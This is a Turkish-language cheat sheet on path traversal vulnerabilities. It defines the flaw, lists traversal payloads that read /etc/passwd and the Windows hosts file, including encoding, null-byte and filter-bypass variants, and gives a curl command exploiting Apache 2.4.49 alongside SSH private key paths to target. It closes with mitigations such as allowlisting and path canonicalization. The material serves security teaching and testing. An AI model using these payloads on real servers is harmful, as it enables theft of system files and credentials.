Path Traversal

Path Traversal Nedir?

  • Path traversal veya directory traversal bir saldırganın uygulamayı çalıştıran sunucudaki herhangi bir dosyayı okumasını sağlar. Bu dosyalar şunları içerebilir:

    • Uygulama kodu ve verileri.

    • Arka uç sistemler için kimlik bilgileri.

    • Hassas işletim sistemi dosyaları.

  • Bazı durumlarda, bir saldırgan sunucudaki rastgele dosyalara yazarak uygulama verilerini veya davranışını değiştirebilir ve sonuçta sunucunun tam kontrolünü ele geçirebilir.

Yöntemler

Full Path

/etc/passwd
C:/windows/system32/drivers/etc/hosts

Dizin Değiştirerek

../../../../../etc/passwd
../../../../../windows/system32/drivers/etc/hosts

Korumayı Atlatma

....//....//....//etc/passwd
....//....//....//windows/system32/drivers/etc/hosts

URL Encoding

..%252f..%252f..%252fetc/passwd
..%252f..%252f..%252fwindows/system32/drivers/etc/hosts

Dizin Kontrolünü Atlatma

/var/www/images/../../../etc/passwd
C:/inetpub/wwwroot/images/../../../../../windows/system32/drivers/etc/hosts

Eklenti Korumasını atlatma

../../../etc/passwd%00.png
../../../../../windows/system32/drivers/etc/hosts%00.png

Apache HTTP Server 2.4.49

curl -s --path-as-is "http://192.168.199.245/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

/etc/passwd
/root/.ssh/id_rsa
/root/.ssh/id_ecdsa

Önlemler

  • Path traversal güvenlik açıklarını önlemenin en etkili yolu, kullanıcı tarafından sağlanan girdiyi dosya sistemi API'lerine aktarmaktan tamamen kaçınmaktır.

  • Kullanıcı tarafından sağlanan girdiyi dosya sistemi API'lerine aktarmaktan kaçınamıyorsanız, saldırıları önlemek için iki savunma katmanı kullanmanızı öneririz:

  • Kullanıcı girdisini izin verilen değerlerden oluşan bir beyaz liste ile karşılaştırın. Bu mümkün değilse, girdinin yalnızca alfanümerik karakterler gibi izin verilen içeriği içerdiğini doğrulayın.

  • Sağlanan girdiyi doğruladıktan sonra, girdiyi temel dizine ekleyin ve yolu canonicalize etmek için bir platform dosya sistemi API'si kullanın. Canonicalized yolun beklenen temel dizinle başladığını doğrulayın.

Kaynaklar

Last updated

Was this helpful?